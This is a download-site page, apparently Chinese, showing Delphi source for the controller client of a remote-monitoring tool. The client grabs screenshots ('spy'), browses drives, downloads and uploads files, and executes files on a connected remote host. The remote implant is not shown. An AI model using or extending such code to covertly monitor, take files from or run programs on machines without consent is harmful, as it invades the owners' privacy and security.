⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 umain.~pa

📁 一个远程监控程序
💻 ~PA
字号:
unit Umain;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ScktComp, shellapi, ComCtrls, ImgList, Menus;
const
  SpyImg = 'c:\spy.jpg';

type
  TState = (stWait, stReceive, stSend, stSpy, stGetDrive, stGetFile);
  TForm1 = class(TForm)
    ClntSocket: TClientSocket;
    btConnect: TButton;
    btSpy: TButton;
    edAddr: TEdit;
    btReset: TButton;
    Label1: TLabel;
    lvFiles: TListView;
    cbDrive: TComboBox;
    ImageList1: TImageList;
    PopupMenu1: TPopupMenu;
    DownLoad1: TMenuItem;
    UpLoad1: TMenuItem;
    Execute1: TMenuItem;
    OpenDlg: TOpenDialog;
    SaveDlg: TSaveDialog;
    procedure btConnectClick(Sender: TObject);
    procedure ClntSocketConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClntSocketConnecting(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure btSpyClick(Sender: TObject);
    procedure ClntSocketRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure btResetClick(Sender: TObject);
    procedure ClntSocketError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure cbDriveChange(Sender: TObject);
    procedure lvFilesDblClick(Sender: TObject);
    procedure PopupMenu1Popup(Sender: TObject);
    procedure DownLoad1Click(Sender: TObject);
    procedure UpLoad1Click(Sender: TObject);
    procedure Execute1Click(Sender: TObject);
    procedure edAddrKeyPress(Sender: TObject; var Key: Char);
    procedure ClntSocketDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
  private
    { Private declarations }
    State : TState;
    opFile: file of byte;
    buf   : array [0..1023] of byte;
    Counter, count : integer;
    LastDrive : string;
    CurrentDir : String;
    NumRead    : integer;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.btConnectClick(Sender: TObject);
var
   result : boolean;
begin
  if ClntSocket.Active = false then
  begin
    ClntSocket.Address := edAddr.Text;
    Clntsocket.Active := true
  end else ClntSocket.Active := false;
end;

procedure TForm1.ClntSocketConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  caption := 'Connect to Host Successed!';
  socket.SendText('lastdrive');
  state := stGetDrive;
  cbDrive.Clear;
  btSpy.Enabled := true;
  btReset.Enabled := true;
  btConnect.Caption := '&Disconnect';
end;

procedure TForm1.ClntSocketConnecting(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  caption := 'Connecting Host...';
end;

procedure TForm1.btSpyClick(Sender: TObject);
begin
  assignFile(opfile,SpyImg);
  rewrite(opFile);
  State := stSpy;
  ClntSocket.Socket.SendText('spy');
  Counter := 0;
end;

procedure TForm1.ClntSocketRead(Sender: TObject; Socket: TCustomWinSocket);
var
   len      : integer;
   drv      : char;
   f        : TSearchRec;
   ListItem : TListItem;
   temptext, temp: string;
   i, index : integer;
begin
  if State = stSpy then
  begin
    Len := Socket.ReceiveLength;
    Socket.ReceiveBuf(buf,Len);
    blockWrite(opFile,buf,Len);
    Counter := Counter + Len;
    caption := 'Received ' + IntToStr(Counter) + ' Bytes';
    if Len < sizeof(buf) then
    begin
      State := stWait;
      caption := caption + ' Ok!';
      CloseFile(opFile);
      shellexecute(0,pchar('open'),pchar('c:\spy.jpg'),nil,nil,SW_SHOW);
    end else socket.SendText('next');
  end
  else if State = stGetDrive then
  begin
    Lastdrive := socket.ReceiveText;
    cbDrive.Items.Add('a:\');
    for drv := 'c' to lastDrive[1] do
    cbDrive.Items.Add(drv + ':\');
    state := stWait;
  end
  else if State = stGetfile then
  begin
    temptext := Socket.Receivetext;
    if temptext = ' ' then
    begin
      State := stWait;
    end else
    begin
      counter := 0;
      i := 0;
      index := 1;
      repeat
        inc(i);
        if temptext[i] = #13 then
        begin
          inc(Count);
          inc(counter);
          Caption := 'Received ' + IntToStr(count) + ' files" information';
          if temptext[index] = 'd' then
          begin
            listItem := Lvfiles.Items.Insert(0);
            ListItem.Caption := copy(temptext,index + 1,i - index - 1);
            listitem.ImageIndex := 0;
            index := i + 3;
            i := i + 4;
          end else
          begin
            ListItem := lvfiles.Items.Add;
            ListItem.Caption := copy(temptext,index + 1,i - index - 1);
            listitem.ImageIndex := 1;
            index := i + 1;
            repeat inc(i) until temptext[i] = #13;
            Listitem.SubItems.Add(copy(temptext,index,i - index));
            index := i + 1;
            i := i + 2;
          end;
        end;
      until i >= length(temptext);
      //caption := caption + '  ' + InttoStr(counter);
      if counter < 10 then
      begin
        state := stWait;
        caption := caption + ' Ok!';
      end else
      socket.SendText('next')
    end;
  end else if State = stReceive then
  begin
    Len := Socket.ReceiveLength;
    Socket.ReceiveBuf(buf,Len);
    blockWrite(opFile,buf,len);
    Counter := Counter + len;
    Caption := 'Received ' + IntToStr(Counter) + ' bytes';
    if Len < Sizeof(Buf) then
    begin
      CloseFile(opFile);
      caption := caption + ' Ok!';
      State := stWait
    end else Socket.SendText('next');
  end else if State = stSend then
  begin
    temptext := Socket.ReceiveText;
    if TempText = 'next' then
    begin
      BlockRead(opFile,buf,Sizeof(buf),NumRead);
      Socket.SendBuf(buf,numRead);
      Counter := Counter + Numread;
      Caption := 'Sent ' + IntToStr(counter) + ' Bytes';
      if NumRead < Sizeof(buf) then
      begin
        Caption := caption + ' Ok!';
        State := stWait;
        CloseFile(opFile);
      end
    end
  end;
end;

procedure TForm1.btResetClick(Sender: TObject);
begin
  ClntSocket.Socket.SendText('reset');
  State := stWait;
  if (State = stSpy)or(State = stSend)or(State = stReceive) then
  CloseFile(opFile);
  ClntSocket.Active := false;
  ClntSocket.Active := true;
end;

procedure TForm1.ClntSocketError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  caption := 'Error!';
end;

procedure TForm1.cbDriveChange(Sender: TObject);
var
   temp : String;
begin
  if State = stWait then
  begin
    Counter := 0;
    count   := 0;
    LvFiles.Items.Clear;
    temp := 'f' + Cbdrive.Text + '*.*';
    ClntSocket.Socket.SendText(temp);
    State := stGetFile;
    CurrentDir := cbDrive.Text;
  end;
end;

procedure TForm1.lvFilesDblClick(Sender: TObject);
var
   temp : string;
   i    : integer;
begin
  if lvFiles.ItemFocused <> nil then
  begin
  count := 0;
  temp := lvfiles.ItemFocused.Caption;
  if lvFiles.ItemFocused.ImageIndex = 0 then
  begin
    if (temp <> '..')and(temp <> '.') then
    begin
      lvFiles.Items.Clear;
      CurrentDir := currentdir + temp + '\';
      clntSocket.Socket.SendText('f' + Currentdir + '*.*');
      State := stGetFile;
    end else
    if temp = '..' then
    begin
      i := length(CurrentDir);
      repeat
        dec(i)
      until CurrentDir[i] = '\';
      Delete(CurrentDir,i + 1,length(CurrentDir) - i);
      lvFiles.Items.Clear;
      clntSocket.Socket.SendText('f' + CurrentDir + '*.*');
      State := stGetFile;
    end;
  end;
  end;
end;

procedure TForm1.PopupMenu1Popup(Sender: TObject);
begin
  if lvFiles.ItemFocused <> nil then
  if lvFiles.ItemFocused.ImageIndex = 0 then
  begin
    Execute1.Enabled := false;
    Download1.Enabled := false;
  end else
  begin
    Execute1.Enabled := true;
    Download1.Enabled := true;
  end
  else
  begin
    Execute1.Enabled := false;
    Download1.Enabled := false;
  end;
end;

procedure TForm1.DownLoad1Click(Sender: TObject);
var
   temp : string;
begin
  if State = stWait then
  begin
    SaveDlg.FileName := lvFiles.ItemFocused.Caption;
    if SaveDlg.Execute then
    begin
      assignFile(opFile,SaveDlg.filename);
      Rewrite(opFile);
      Counter := 0;
      temp := 'd' + CurrentDir + lvFiles.ItemFocused.Caption;
      ClntSocket.Socket.SendText(temp);
      State := stReceive;
    end;
  end;
end;

procedure TForm1.UpLoad1Click(Sender: TObject);
var
   temp : string;
   i    : integer;
begin
  if State = stWait then
  if OpenDlg.Execute then
  begin
    assignFile(opFile,OpenDlg.filename);
    Reset(opFile);
    Counter := 0;
    temp := OpenDlg.FileName;
    i := length(temp);
    repeat dec(i) until temp[i] = '\';
    delete(temp,1,i);
    temp := 'u' + currentDir + temp;
    ClntSocket.Socket.SendText(temp);
    State := stSend;
  end;
end;

procedure TForm1.Execute1Click(Sender: TObject);
var
   temp : string;
begin
  temp := 'e' + CurrentDir + lvFiles.ItemFocused.Caption;
  Clntsocket.Socket.SendText(temp);
end;

procedure TForm1.edAddrKeyPress(Sender: TObject; var Key: Char);
begin
  if key = #13 then
  btconnectClick(btConnect);
end;

procedure TForm1.ClntSocketDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  btspy.Enabled := false;
  btReset.Enabled := false;
  btConnect.Caption := '&Connect';
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -